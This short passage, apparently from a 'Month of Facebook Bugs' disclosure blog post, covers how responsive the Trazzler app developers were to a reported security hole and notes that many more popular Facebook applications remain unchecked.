Application Developer: Trazzler

Responsiveness: The developers at Trazzler have been responsive, and I’ve been working with them to try and get the hole patched. I was honestly a little disappointed by the information they got from Facebook about the hole, but that’s for another post.

Notes: See the leaderboard rank of Trazzler? I chose to check it after looking at the list of Facebook Verified Applications, which means AppData lists around 2,800 applications I haven’t checked which have higher MAU than Trazzler. This Month of Facebook Bugs only begins to scratch the surface of Facebook applications.
